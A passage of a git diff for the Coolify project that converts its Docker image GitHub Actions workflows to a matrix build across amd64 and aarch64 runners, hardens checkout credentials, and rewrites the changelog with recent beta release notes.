-      - name: Login to ${{ env.DOCKER_REGISTRY }}
-        uses: docker/login-action@v3
-        with:
-          registry: ${{ env.DOCKER_REGISTRY }}
-          username: ${{ secrets.DOCKER_USERNAME }}
-          password: ${{ secrets.DOCKER_TOKEN }}
-
-      - name: Get Version
-        id: version
-        run: |
-          echo "VERSION=$(docker run --rm -v "$(pwd):/app" -w /app php:8.2-alpine3.16 php bootstrap/getVersion.php)"|xargs >> $GITHUB_OUTPUT
-
-      - name: Build and Push Image
-        uses: docker/build-push-action@v6
-        with:
-          context: .
-          file: docker/production/Dockerfile
-          platforms: linux/aarch64
-          push: true
-          tags: |
-            ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-aarch64
-            ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-aarch64
+            ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-${{ matrix.arch }}
+            ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-${{ matrix.arch }}
 
   merge-manifest:
-    runs-on: ubuntu-latest
-    permissions:
-      contents: read
-      packages: write
-    needs: [amd64, aarch64]
+    runs-on: ubuntu-24.04
+    needs: build-push
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v5
+        with:
+          persist-credentials: false
 
       - uses: docker/setup-buildx-action@v3
 
@@ -123,14 +102,16 @@ jobs:
       - name: Create & publish manifest on ${{ env.GITHUB_REGISTRY }}
         run: |
           docker buildx imagetools create \
-          --append ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-aarch64 \
+          ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-amd64 \
+          ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-aarch64 \
           --tag ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }} \
           --tag ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:latest
 
       - name: Create & publish manifest on ${{ env.DOCKER_REGISTRY }}
         run: |
           docker buildx imagetools create \
-          --append ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-aarch64 \
+          ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-amd64 \
+          ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-aarch64 \
           --tag ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }} \
           --tag ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:latest
 
diff --git a/.github/workflows/coolify-realtime-next.yml b/.github/workflows/coolify-realtime-next.yml
index ad590146b..7ab4dcc42 100644
--- a/.github/workflows/coolify-realtime-next.yml
+++ b/.github/workflows/coolify-realtime-next.yml
@@ -11,19 +11,31 @@ on:
       - docker/coolify-realtime/package-lock.json
       - docker/coolify-realtime/soketi-entrypoint.sh
 
+permissions:
+  contents: read
+  packages: write
+
 env:
   GITHUB_REGISTRY: ghcr.io
   DOCKER_REGISTRY: docker.io
   IMAGE_NAME: "coollabsio/coolify-realtime"
 
 jobs:
-  amd64:
-    runs-on: ubuntu-latest
-    permissions:
-      contents: read
-      packages: write
+  build-push:
+    strategy:
+      matrix:
+        include:
+          - arch: amd64
+            platform: linux/amd64
+            runner: ubuntu-24.04
+          - arch: aarch64
+            platform: linux/aarch64
+            runner: ubuntu-24.04-arm
+    runs-on: ${{ matrix.runner }}
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v5
+        with:
+          persist-credentials: false
 
       - name: Login to ${{ env.GITHUB_REGISTRY }}
         uses: docker/login-action@v3
@@ -44,67 +56,26 @@ jobs:
         run: |
           echo "VERSION=$(docker run --rm -v "$(pwd):/app" -w /app php:8.2-alpine3.16 php bootstrap/getRealtimeVersion.php)"|xargs >> $GITHUB_OUTPUT
 
-      - name: Build and Push Image
+      - name: Build and Push Image (${{ matrix.arch }})
         uses: docker/build-push-action@v6
         with:
           context: .
           file: docker/coolify-realtime/Dockerfile
-          platforms: linux/amd64
+          platforms: ${{ matrix.platform }}
           push: true
           tags: |
-            ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-next
-            ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-next
-          labels: |
-            coolify.managed=true
-
-  aarch64:
-    runs-on: [ self-hosted, arm64 ]
-    permissions:
-      contents: read
-      packages: write
-    steps:
-      - uses: actions/checkout@v4
-
-      - name: Login to ${{ env.GITHUB_REGISTRY }}
-        uses: docker/login-action@v3
-        with:
-          registry: ${{ env.GITHUB_REGISTRY }}
-          username: ${{ github.actor }}
-          password: ${{ secrets.GITHUB_TOKEN  }}
-
-      - name: Login to ${{ env.DOCKER_REGISTRY }}
-        uses: docker/login-action@v3
-        with:
-          registry: ${{ env.DOCKER_REGISTRY }}
-          username: ${{ secrets.DOCKER_USERNAME }}
-          password: ${{ secrets.DOCKER_TOKEN }}
-
-      - name: Get Version
-        id: version
-        run: |
-          echo "VERSION=$(docker run --rm -v "$(pwd):/app" -w /app php:8.2-alpine3.16 php bootstrap/getRealtimeVersion.php)"|xargs >> $GITHUB_OUTPUT
-
-      - name: Build and Push Image
-        uses: docker/build-push-action@v6
-        with:
-          context: .
-          file: docker/coolify-realtime/Dockerfile
-          platforms: linux/aarch64
-          push: true
-          tags: |
-            ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-next-aarch64
-            ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-next-aarch64
+            ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-next-${{ matrix.arch }}
+            ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-next-${{ matrix.arch }}
           labels: |
             coolify.managed=true
 
   merge-manifest:
-    runs-on: ubuntu-latest
-    permissions:
-      contents: read
-      packages: write
-    needs: [ amd64, aarch64 ]
+    runs-on: ubuntu-24.04
+    needs: build-push
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v5
+        with:
+          persist-credentials: false
 
       - uses: docker/setup-buildx-action@v3
 
@@ -130,14 +101,16 @@ jobs:
       - name: Create & publish manifest on ${{ env.GITHUB_REGISTRY }}
         run: |
           docker buildx imagetools create \
-          --append ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-next-aarch64 \
+          ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-next-amd64 \
+          ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-next-aarch64 \
           --tag ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-next \
           --tag ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:next
 
       - name: Create & publish manifest on ${{ env.DOCKER_REGISTRY }}
         run: |
           docker buildx imagetools create \
-          --append ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-next-aarch64 \
+          ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-next-amd64 \
+          ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-next-aarch64 \
           --tag ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-next \
           --tag ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:next
 
diff --git a/.github/workflows/coolify-realtime.yml b/.github/workflows/coolify-realtime.yml
index d00621cc2..5efe445c5 100644
--- a/.github/workflows/coolify-realtime.yml
+++ b/.github/workflows/coolify-realtime.yml
@@ -11,19 +11,31 @@ on:
       - docker/coolify-realtime/package-lock.json
       - docker/coolify-realtime/soketi-entrypoint.sh
 
+permissions:
+  contents: read
+  packages: write
+
 env:
   GITHUB_REGISTRY: ghcr.io
   DOCKER_REGISTRY: docker.io
   IMAGE_NAME: "coollabsio/coolify-realtime"
 
 jobs:
-  amd64:
-    runs-on: ubuntu-latest
-    permissions:
-      contents: read
-      packages: write
+  build-push:
+    strategy:
+      matrix:
+        include:
+          - arch: amd64
+            platform: linux/amd64
+            runner: ubuntu-24.04
+          - arch: aarch64
+            platform: linux/aarch64
+            runner: ubuntu-24.04-arm
+    runs-on: ${{ matrix.runner }}
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v5
+        with:
+          persist-credentials: false
 
       - name: Login to ${{ env.GITHUB_REGISTRY }}
         uses: docker/login-action@v3
@@ -44,67 +56,26 @@ jobs:
         run: |
           echo "VERSION=$(docker run --rm -v "$(pwd):/app" -w /app php:8.2-alpine3.16 php bootstrap/getRealtimeVersion.php)"|xargs >> $GITHUB_OUTPUT
 
-      - name: Build and Push Image
+      - name: Build and Push Image (${{ matrix.arch }})
         uses: docker/build-push-action@v6
         with:
           context: .
           file: docker/coolify-realtime/Dockerfile
-          platforms: linux/amd64
+          platforms: ${{ matrix.platform }}
           push: true
           tags: |
-            ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}
-            ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}
-          labels: |
-            coolify.managed=true
-
-  aarch64:
-    runs-on: [ self-hosted, arm64 ]
-    permissions:
-      contents: read
-      packages: write
-    steps:
-      - uses: actions/checkout@v4
-
-      - name: Login to ${{ env.GITHUB_REGISTRY }}
-        uses: docker/login-action@v3
-        with:
-          registry: ${{ env.GITHUB_REGISTRY }}
-          username: ${{ github.actor }}
-          password: ${{ secrets.GITHUB_TOKEN  }}
-
-      - name: Login to ${{ env.DOCKER_REGISTRY }}
-        uses: docker/login-action@v3
-        with:
-          registry: ${{ env.DOCKER_REGISTRY }}
-          username: ${{ secrets.DOCKER_USERNAME }}
-          password: ${{ secrets.DOCKER_TOKEN }}
-
-      - name: Get Version
-        id: version
-        run: |
-          echo "VERSION=$(docker run --rm -v "$(pwd):/app" -w /app php:8.2-alpine3.16 php bootstrap/getRealtimeVersion.php)"|xargs >> $GITHUB_OUTPUT
-
-      - name: Build and Push Image
-        uses: docker/build-push-action@v6
-        with:
-          context: .
-          file: docker/coolify-realtime/Dockerfile
-          platforms: linux/aarch64
-          push: true
-          tags: |
-            ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-aarch64
-            ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-aarch64
+            ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-${{ matrix.arch }}
+            ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-${{ matrix.arch }}
           labels: |
             coolify.managed=true
 
   merge-manifest:
-    runs-on: ubuntu-latest
-    permissions:
-      contents: read
-      packages: write
-    needs: [ amd64, aarch64 ]
+    runs-on: ubuntu-24.04
+    needs: build-push
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v5
+        with:
+          persist-credentials: false
 
       - uses: docker/setup-buildx-action@v3
 
@@ -130,14 +101,16 @@ jobs:
       - name: Create & publish manifest on ${{ env.GITHUB_REGISTRY }}
         run: |
           docker buildx imagetools create \
-          --append ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-aarch64 \
+          ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-amd64 \
+          ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-aarch64 \
           --tag ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }} \
           --tag ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:latest
 
       - name: Create & publish manifest on ${{ env.DOCKER_REGISTRY }}
         run: |
           docker buildx imagetools create \
-          --append ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-aarch64 \
+          ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-amd64 \
+          ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-aarch64 \
           --tag ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }} \
           --tag ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:latest
 
diff --git a/.github/workflows/coolify-staging-build.yml b/.github/workflows/coolify-staging-build.yml
index df737c9c3..67b7b03e8 100644
--- a/.github/workflows/coolify-staging-build.yml
+++ b/.github/workflows/coolify-staging-build.yml
@@ -17,6 +17,10 @@ on:
         - templates/**
         - CHANGELOG.md
 
+permissions:
+  contents: read
+  packages: write
+
 env:
   GITHUB_REGISTRY: ghcr.io
   DOCKER_REGISTRY: docker.io
@@ -34,11 +38,10 @@ jobs:
             platform: linux/aarch64
             runner: ubuntu-24.04-arm
     runs-on: ${{ matrix.runner }}
-    permissions:
-      contents: read
-      packages: write
     steps:
       - uses: actions/checkout@v5
+        with:
+          persist-credentials: false
 
       - name: Sanitize branch name for Docker tag
         id: sanitize
@@ -82,11 +85,10 @@ jobs:
   merge-manifest:
     runs-on: ubuntu-24.04
     needs: build-push
-    permissions:
-      contents: read
-      packages: write
     steps:
       - uses: actions/checkout@v5
+        with:
+          persist-credentials: false
 
       - name: Sanitize branch name for Docker tag
         id: sanitize
diff --git a/.github/workflows/coolify-testing-host.yml b/.github/workflows/coolify-testing-host.yml
index 95a228114..24133887a 100644
--- a/.github/workflows/coolify-testing-host.yml
+++ b/.github/workflows/coolify-testing-host.yml
@@ -7,19 +7,31 @@ on:
       - .github/workflows/coolify-testing-host.yml
       - docker/testing-host/Dockerfile
 
+permissions:
+  contents: read
+  packages: write
+
 env:
   GITHUB_REGISTRY: ghcr.io
   DOCKER_REGISTRY: docker.io
   IMAGE_NAME: "coollabsio/coolify-testing-host"
 
 jobs:
-  amd64:
-    runs-on: ubuntu-latest
-    permissions:
-      contents: read
-      packages: write
+  build-push:
+    strategy:
+      matrix:
+        include:
+          - arch: amd64
+            platform: linux/amd64
+            runner: ubuntu-24.04
+          - arch: aarch64
+            platform: linux/aarch64
+            runner: ubuntu-24.04-arm
+    runs-on: ${{ matrix.runner }}
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v5
+        with:
+          persist-credentials: false
 
       - name: Login to ${{ env.GITHUB_REGISTRY }}
         uses: docker/login-action@v3
@@ -35,62 +47,26 @@ jobs:
           username: ${{ secrets.DOCKER_USERNAME }}
           password: ${{ secrets.DOCKER_TOKEN }}
 
-      - name: Build and Push Image
+      - name: Build and Push Image (${{ matrix.arch }})
         uses: docker/build-push-action@v6
         with:
           context: .
           file: docker/testing-host/Dockerfile
-          platforms: linux/amd64
+          platforms: ${{ matrix.platform }}
           push: true
           tags: |
-            ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:latest
-            ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:latest
-          labels: |
-            coolify.managed=true
-
-  aarch64:
-    runs-on: [ self-hosted, arm64 ]
-    permissions:
-      contents: read
-      packages: write
-    steps:
-      - uses: actions/checkout@v4
-
-      - name: Login to ${{ env.GITHUB_REGISTRY }}
-        uses: docker/login-action@v3
-        with:
-          registry: ${{ env.GITHUB_REGISTRY }}
-          username: ${{ github.actor }}
-          password: ${{ secrets.GITHUB_TOKEN  }}
-
-      - name: Login to ${{ env.DOCKER_REGISTRY }}
-        uses: docker/login-action@v3
-        with:
-          registry: ${{ env.DOCKER_REGISTRY }}
-          username: ${{ secrets.DOCKER_USERNAME }}
-          password: ${{ secrets.DOCKER_TOKEN }}
-
-      - name: Build and Push Image
-        uses: docker/build-push-action@v6
-        with:
-          context: .
-          file: docker/testing-host/Dockerfile
-          platforms: linux/aarch64
-          push: true
-          tags: |
-            ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:latest-aarch64
-            ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:latest-aarch64
+            ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:latest-${{ matrix.arch }}
+            ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:latest-${{ matrix.arch }}
           labels: |
             coolify.managed=true
 
   merge-manifest:
-    runs-on: ubuntu-latest
-    permissions:
-      contents: read
-      packages: write
-    needs: [ amd64, aarch64 ]
+    runs-on: ubuntu-24.04
+    needs: build-push
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v5
+        with:
+          persist-credentials: false
 
       - uses: docker/setup-buildx-action@v3
 
@@ -111,13 +87,15 @@ jobs:
       - name: Create & publish manifest on ${{ env.GITHUB_REGISTRY }}
         run: |
           docker buildx imagetools create \
-          --append ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:latest-aarch64 \
+          ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:latest-amd64 \
+          ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:latest-aarch64 \
           --tag ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:latest
 
       - name: Create & publish manifest on ${{ env.DOCKER_REGISTRY }}
         run: |
           docker buildx imagetools create \
-          --append ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:latest-aarch64 \
+          ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:latest-amd64 \
+          ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:latest-aarch64 \
           --tag ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:latest
 
       - uses: sarisia/actions-status-discord@v1
diff --git a/CHANGELOG.md b/CHANGELOG.md
index bc45bf839..2980c7401 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -4,936 +4,169 @@ # Changelog
 
 ## [unreleased]
 
+### 🐛 Bug Fixes
+
+- Update syncData method to use data_get for safer property access
+- Update version numbers to 4.0.0-beta.441 and 4.0.0-beta.442
+- Enhance menu item styles and update theme color meta tag
+- Clean up input attributes for PostgreSQL settings in general.blade.php
+- Update docker stop command to use --time instead of --timeout
+- Clean up utility classes and improve readability in Blade templates
+- Enhance styling for page width component in Blade template
+- Remove debugging output from StartPostgresql command handling
+
+### 📚 Documentation
+
+- Update changelog
+
+## [4.0.0-beta.440] - 2025-11-04
+
+### 🐛 Bug Fixes
+
+- Fix SPA toggle nginx regeneration and add confirmation modal
+
+### 📚 Documentation
+
+- Update changelog
+
+## [4.0.0-beta.439] - 2025-11-03
+
+### 📚 Documentation
+
+- Update changelog
+
+## [4.0.0-beta.438] - 2025-10-29
+
+### 🚀 Features
+
+- Display service logos in original colors with consistent sizing
+- Add warnings for system-wide GitHub Apps
+- Show message when no resources use GitHub App
+- Add dynamic viewport-based height for compose editor
+- Add funding information for Coollabs including sponsorship plans and channels
+- Update Evolution API slogan to better reflect its capabilities
+- *(templates)* Update plane compose to v1.0.0
+- Add token validation functionality for Hetzner and DigitalOcean providers
+- Add dev_helper_version to instance settings and update related functionality
+- Add RestoreDatabase command for PostgreSQL dump restoration
+- Update ApplicationSetting model to include additional boolean casts
+- Enhance General component with additional properties and validation rules
+- Update version numbers to 4.0.0-beta.440 and 4.0.0-beta.441
+
+### 🐛 Bug Fixes
+
+- Handle redis_password in API database creation
+- Make modals scrollable on small screens
+- Resolve Livewire wire:model binding error in domains input
+- Make environment variable forms responsive
+- Make proxy logs page responsive
+- Improve proxy logs form layout for better responsive behavior
+- Prevent horizontal overflow in log text
+- Use break-all to force line wrapping in logs
+- Ensure deployment failure notifications are sent reliably
+- GitHub source creation and configuration issues
+- Make system-wide warning reactive in Create view
+- Prevent system-wide warning callout from making modal too wide
+- Constrain callout width with max-w-2xl and wrap text properly
+- Center system-wide warning callout in modal
+- Left-align callout on regular view, keep centered in modal
+- Allow callout to take full width in regular view
+- Change app_id and installation_id to integer values in createGithubAppManually method
+- Use x-cloak instead of inline style to prevent FOUC
+- Clarify warning message for allowed IPs configuration
+- Server URL generation in ServerPatchCheck notification
+- Monaco editor empty for docker compose applications
+- Update sponsor link from Darweb to Dade2 in README
+- *(database)* Prevent malformed URLs when server IP is empty
+- Optimize caching in Dockerfile and GitHub Actions workflow
+- Remove wire:ignore from modal and add wire:key to EditCompose component
+- Add wire:ignore directive to modal component for improved functionality
+- Clean up formatting and remove unnecessary key binding in stack form component
+- Add null checks and validation to OAuth bulk update method
+- *(docs)* Update documentation URL to version 2 in evolution-api.yaml
+- *(templates)* Remove volumes from Plane's compose
+- *(templates)* Add redis env to live service in Plane
+- *(templates)* Update minio image to use coollabsio fork in Plane
+- Prevent login rate limit bypass via spoofed headers
+- Correct login rate limiter key format to include IP address
+- Change SMTP port input type to number for better validation
+- Remove unnecessary step attribute from maximum storage input fields
+- Update boarding flow logic to complete onboarding when server is created
+- Convert network aliases to string for display
+- Improve custom_network_aliases handling and testing
+- Remove duplicate custom_labels from config hash calculation
+- Improve run script and enhance sticky header style
+
+### 💼 Other
+
+- *(deps-dev)* Bump vite from 6.3.6 to 6.4.1
+
+### 🚜 Refactor
+
+- Remove deprecated next() method
+- Replace allowed IPs validation logic with regex
+- Remove redundant
+- Streamline allowed IPs validation and enhance UI warnings for API access
+- Remove staging URL logic from ServerPatchCheck constructor
+- Streamline Docker build process with matrix strategy for multi-architecture support
+- Simplify project data retrieval and enhance OAuth settings handling
+- Improve handling of custom network aliases
+- Remove unused submodules
+- Update subproject commit hashes
+- Remove SynchronizesModelData trait and implement syncData method for model synchronization
+
+### 📚 Documentation
+
+- Update changelog
+- Update changelog
+- Update changelog
+- Update changelog
+- Update changelog
+- Update changelog
+- Update changelog
+- Add service & database deployment logging plan
+
+### 🧪 Testing
+
+- Add unit tests for ServerPatchCheck notification URL generation
+- Fix ServerPatchCheckNotification tests to avoid global state pollution
+
+### ⚙️ Miscellaneous Tasks
+
+- Add category field to siyuan.yaml
+- Update siyuan category in service templates
+- Add spacing and format callout text in modal
+- Update version numbers to 4.0.0-beta.439 and 4.0.0-beta.440
+- Add .workspaces to .gitignore
+
+## [4.0.0-beta.437] - 2025-10-21
+
+### 🚀 Features
+
+- *(templates)* Add sparkyfitness compose template and logo
+- *(servide)* Add siyuan template
+- Add onboarding guide link to global search no results state
+- Add category filter dropdown to service selection
+
+### 🐛 Bug Fixes
+
+- *(service)* Update image version & healthcheck start period
+- Filter deprecated server types for Hetzner
+- Eliminate dark mode white screen flicker on page transitions
+
+### 💼 Other
+
+- Preserve clean docker_compose_raw without Coolify additions
+
+### 📚 Documentation
+
+- Update changelog
+- Update changelog
+
+## [4.0.0-beta.435] - 2025-10-15
+
 ### 🚀 Features
 
-- Use tags in update
-- New update process (#115)
-- VaultWarden service
-- Www <-> non-www redirection for apps
-- Www <-> non-www redirection
-- Follow logs
-- Generate www & non-www SSL certs
-- Basic password reset form
-- Scan for lock files and set right commands
-- Public port range (WIP)
-- Ports range
-- Random subdomain for demo
-- Random domain for services
-- Astro buildpack
-- 11ty buildpack
-- Registration page
-- Languagetool service
-- Send version with update request
-- Service secrets
-- Webhooks inititate all applications with the correct branch
-- Check ssl for new apps/services first
-- Autodeploy pause
-- Install pnpm into docker image if pnpm lock file is used
-- Add PHP modules
-- Use compose instead of normal docker cmd
-- Be able to redeploy PRs
-- Add n8n.io service
-- Add update kuma service
-- Ghost service
-- Initial python support
-- Add loading on register button
-- *(dev)* Allow windows users to use pnpm dev
-- MeiliSearch service
-- Add abilitry to paste env files
-- Wordpress on-demand SFTP
-- Finalize on-demand sftp for wp
-- PHP Composer support
-- Working on-demand sftp to wp data
-- Admin team sees everything
-- Able to change service version/tag
-- Basic white labeled version
-- Able to modify database passwords
-- Add persistent storage for services
-- Multiply dockerfile locations for docker buildpack
-- Testing fluentd logging driver
-- Fluentbit investigation
-- Initial deno support
-- Deno DB migration
-- Show exited containers on UI & better UX
-- Query container state periodically
-- Install svelte-18n and init setup
-- Umami service
-- Coolify auto-updater
-- Autoupdater
-- Select base image for buildpacks
-- Hasura as a service
-- Gzip compression
-- Laravel buildpack is working!
-- Laravel
-- Fider service
-- Database and services logs
-- DNS check settings for SSL generation
-- Cancel builds!
-- Basic server usage on dashboard
-- Show usage trends
-- Usage on dashboard
-- Custom script path for Plausible
-- WP could have custom db
-- Python image selection
-- PageLoader
-- Database + service usage
-- Ability to change deployment type for nextjs
-- Ability to change deployment type for nuxtjs
-- Gitpod ready code(almost)
-- Add Docker buildpack exposed port setting
-- Custom port for git instances
-- Gitpod integration
-- Init moodle and separate stuffs to shared package
-- Moodle init
-- Remote docker engine init
-- Working on remote docker engine
-- Rde
-- Remote docker engine
-- Ipv4 and ipv6
-- Contributors
-- Add arch to database
-- Stop preview deployment
-- Persistent storage for all services
-- Cleanup clickhouse db
-- Init heroku buildpacks
-- Databases on ARM
-- Mongodb arm support
-- New dashboard
-- Appwrite service
-- Heroku deployments
-- Deploy bots (no domains)
-- Custom dns servers
-- Import public repos (wip)
-- Public repo deployment
-- Force rebuild + env.PORT for port + public repo build
-- Add GlitchTip service
-- Searxng service
-- *(ui)* Rework home UI and with responsive design
-- New service - weblate
-- Restart application
-- Show elapsed time on running builds
-- Github allow fual branches
-- Gitlab dual branch
-- Taiga
-- *(routes)* Rework ui from login and register page
-- Add traefik acme json to coolify container
-- Database secrets
-- New servers view
-- Add queue reset button
-- Previewapplications init
-- PreviewApplications finalized
-- Fluentbit
-- Show remote servers
-- *(layout)* Added drawer when user is in mobile
-- Re-apply ui improves
-- *(ui)* Improve header of pages
-- *(styles)* Make header css component
-- *(routes)* Improve ui for apps, databases and services logs
-- Add migration button to appwrite
-- Custom certificate
-- Ssl cert on traefik config
-- Refresh resource status on dashboard
-- Ssl certificate sets custom ssl for applications
-- System-wide github apps
-- Cleanup unconfigured applications
-- Cleanup unconfigured services and databases
-- Docker compose support
-- Docker compose
-- Docker compose
-- Monitoring by container
-- Initial support for specific git commit
-- Add default to latest commit and support for gitlab
-- Redirect catch-all rule
-- Rollback coolify
-- Only show expose if no proxy conf defined in template
-- Custom/private docker registries
-- Use registry for building
-- Docker registries working
-- Custom docker compose file location in repo
-- Save doNotTrackData to db
-- Add default sentry
-- Do not track in settings
-- System wide git out of beta
-- Custom previewseparator
-- Sentry frontend
-- Able to host static/php sites on arm
-- Save application data before deploying
-- SimpleDockerfile deployment
-- Able to push image to docker registry
-- Revert to remote image
-- *(api)* Name label
-- Add Openblocks icon
-- Adding icon for whoogle
-- *(ui)* Add libretranslate service icon
-- Handle invite_only plausible analytics
-- Init h2c (http2/grpc) support
-- Http + h2c paralel
-- Github raw icon url
-- Remove svg support
-- Add host path to any container
-- Able to control multiplexing
-- Add runRemoteCommandSync
-- Github repo with deployment key
-- Add persistent volumes
-- Debuggable executeNow commands
-- Add private gh repos
-- Delete gh app
-- Installation/update github apps
-- Auto-deploy
-- Deploy key based deployments
-- Resource limits
-- Long running queue with 1 hour of timeout
-- Add arm build to dev
-- Disk cleanup threshold by server
-- Notify user of disk cleanup init
-- Pricing plans ans subs
-- Add s3 storages
-- Init postgresql database
-- Add backup notifications
-- Dockerfile build pack
-- Cloud
-- Force password reset + waitlist
-- Send internal notification to discord
-- Monitor server connection
-- Invite by email from waitlist
-- Rolling update
-- Add resend as transactional emails
-- Send request in cloud
-- Add discord notifications
-- Public database
-- Telegram topics separation
-- Developer view for env variables
-- Cache team settings
-- Generate public key from private keys
-- Able to invite more people at once
-- Trial
-- Dynamic trial period
-- Ssh-agent instead of filesystem based ssh keys
-- New container status checks
-- Generate ssh key
-- Sentry add email for better support
-- Healthcheck for apps
-- Add cloudflare tunnel support
-- Services
-- Image tag for services
-- Container logs
-- Reset root password
-- Attach Coolify defined networks to services
-- Delete resource command
-- Multiselect removable resources
-- Disable service, required version
-- Basedir / monorepo initial support
-- Init version of any git deployment
-- Deploy private repo with ssh key
-- Add email verification for cloud
-- Able to deploy docker images
-- Add dockerfile location
-- Proxy logs on the ui
-- Add custom redis conf
-- Use docker login credentials from server
-- Able to customize docker labels on applications
-- Show if config is not applied
-- Standalone mongodb
-- Cloning project
-- Api tokens + deploy webhook
-- Start all kinds of things
-- Simple search functionality
-- Mysql, mariadb
-- Lock environment variables
-- Download local backups
-- Improve deployment time by a lot
-- Deployment logs fullscreen
-- Service database backups
-- Make service databases public
-- Log drain (wip)
-- Enable/disable log drain by service
-- Log drainer container check
-- Add docker engine support install script to rhel based systems
-- Save timestamp configuration for logs
-- Custom log drain endpoints
-- Auto-restart tcp proxies for databases
-- Execute command in container
